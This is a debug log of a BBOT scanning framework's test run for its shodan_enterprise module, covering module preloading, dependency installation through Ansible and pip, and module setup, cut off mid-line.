'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_ww2fvo6n1e'}, 'started_at': '2026-02-27T21:27:15.310381', 'finished_at': '2026-02-27T21:27:15.920064', 'duration_seconds': 0.609683, 'duration': '0 seconds', 'status': 'FINISHED'} -2026-02-27 21:27:16,082 [CRITICAL] bbot test_module_shodan_enterprise.py:23 set() -2026-02-27 21:27:16,082 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:27:16,084 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 21:27:16,084 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 21:31:18,654 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 21:31:18,665 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 21:31:18,667 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 21:31:18,669 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 21:31:18,670 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 21:31:18,672 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 21:31:18,674 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 21:31:18,675 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 21:31:18,676 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 21:31:18,676 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 21:31:18,677 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 21:31:18,678 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 21:31:18,678 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 21:31:18,679 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 21:31:18,680 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 21:31:18,681 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 21:31:18,682 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 21:31:18,683 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 21:31:18,684 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 21:31:18,684 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 21:31:18,685 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 21:31:18,686 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 21:31:18,687 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 21:31:18,688 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 21:31:18,689 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 21:31:18,689 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 21:31:18,695 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 21:31:18,696 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 21:31:18,697 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 21:31:18,698 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 21:31:18,699 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 21:31:18,700 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 21:31:18,701 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 21:31:18,702 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 21:31:18,703 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 21:31:18,704 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 21:31:18,705 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 21:31:18,706 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 21:31:18,707 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 21:31:18,708 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 21:31:18,709 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 21:31:18,710 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 21:31:18,711 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 21:31:18,712 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 21:31:18,712 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 21:31:18,713 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 21:31:18,714 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 21:31:18,715 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 21:31:18,716 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 21:31:18,717 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 21:31:18,718 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 21:31:18,719 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 21:31:18,727 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 21:31:18,728 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 21:31:18,729 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 21:31:18,730 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 21:31:18,731 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 21:31:18,733 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 21:31:18,734 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 21:31:18,734 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 21:31:18,735 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 21:31:18,736 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 21:31:18,738 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 21:31:18,739 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 21:31:18,740 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 21:31:18,741 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 21:31:18,742 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 21:31:18,743 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 21:31:18,744 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 21:31:18,745 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 21:31:18,745 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 21:31:18,746 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 21:31:18,747 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 21:31:18,747 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 21:31:18,748 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 21:31:18,749 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 21:31:18,750 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 21:31:18,751 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 21:31:18,752 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 21:31:18,754 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 21:31:18,755 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 21:31:18,756 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 21:31:18,757 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 21:31:18,758 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 21:31:18,759 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 21:31:18,760 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 21:31:18,760 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 21:31:18,761 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 21:31:18,762 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 21:31:18,763 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 21:31:18,764 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 21:31:18,765 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 21:31:18,766 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 21:31:18,766 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 21:31:18,767 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 21:31:18,768 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 21:31:18,769 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 21:31:18,770 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 21:31:18,771 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 21:31:18,771 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 21:31:18,772 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 21:31:18,774 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 21:31:18,775 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 21:31:18,775 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 21:31:18,776 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 21:31:18,778 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 21:31:18,779 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 21:31:18,779 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 21:31:18,780 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 21:31:18,781 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 21:31:18,782 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 21:31:18,783 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 21:31:18,784 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 21:31:18,785 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 21:31:18,786 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 21:31:18,787 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 21:31:18,788 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 21:31:18,789 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 21:31:18,790 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 21:31:18,791 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 21:31:18,792 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 21:31:18,793 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 21:31:18,794 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 21:31:18,794 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 21:31:18,795 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 21:31:18,796 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 21:31:18,797 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 21:31:18,798 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 21:31:18,799 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 21:31:18,800 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 21:31:18,800 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 21:31:18,801 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 21:31:18,802 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 21:31:18,803 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 21:31:18,804 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 21:31:18,805 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 21:31:18,806 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 21:31:18,808 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 21:31:18,809 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 21:31:18,813 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 21:31:18,814 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 21:31:18,815 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 21:31:18,816 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 21:31:18,818 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 21:31:18,819 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 21:31:18,821 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 21:31:18,822 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 21:31:18,822 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 21:31:18,823 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 21:31:18,824 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 21:31:18,825 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 21:31:18,826 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 21:31:18,827 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 21:31:18,828 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 21:31:18,829 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 21:31:18,830 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 21:31:18,832 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 21:31:18,832 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 21:31:18,833 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 21:31:18,835 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 21:31:18,836 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 21:31:18,837 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 21:31:18,837 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 21:31:18,838 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 21:31:18,840 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 21:31:18,841 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 21:31:18,842 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 21:31:18,843 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 21:31:18,844 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 21:31:18,845 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 21:31:19,020 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4504877328 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:31:19,021 [DEBUG] filelock _api.py:334 Lock 4504877328 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:31:19,022 [DEBUG] filelock _api.py:364 Attempting to release lock 4504877328 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:31:19,022 [DEBUG] filelock _api.py:367 Lock 4504877328 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:31:19,954 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:31:19,954 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:31:19,955 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 21:31:20,094 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 21:31:20,672 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 21:31:20,673 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 21:31:20,673 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 21:31:20,673 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 21:31:20,887 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 21:31:20,889 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 21:31:20,998 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 21:31:20,998 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 21:31:21,057 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 21:31:21,060 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 21:31:21,060 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 21:31:21,515 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 21:31:21,516 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 21:31:24,595 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 21:31:24,596 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 21:31:24,596 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 21:31:26,599 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 21:31:26,601 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 21:31:26,606 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:31:26,606 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 21:31:26,607 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 21:31:26,607 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 21:31:26,611 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/5lubvuerwgeod1gdtnce -2026-02-27 21:31:27,450 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 21:31:27,451 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 21:31:27,451 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:31:27,451 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 21:31:27,452 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:31:27,452 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 21:31:27,453 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:31:27,453 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 21:31:27,455 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 21:31:27,586 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 21:31:27,586 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 21:31:27,586 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 21:31:27,588 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 21:31:27,589 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 21:31:27,589 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 21:31:27,589 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 21:31:27,590 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 21:31:27,590 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 21:31:27,591 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 21:31:27,591 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 21:31:27,591 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 21:31:27,592 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 21:31:27,592 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 21:31:27,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 21:31:27,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 21:31:27,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 21:31:27,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 21:31:27,593 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 21:31:27,593 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 21:31:27,593 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 21:31:27,593 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 21:31:27,593 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 21:31:27,593 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 21:31:27,593 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 21:31:27,594 [DEBUG] 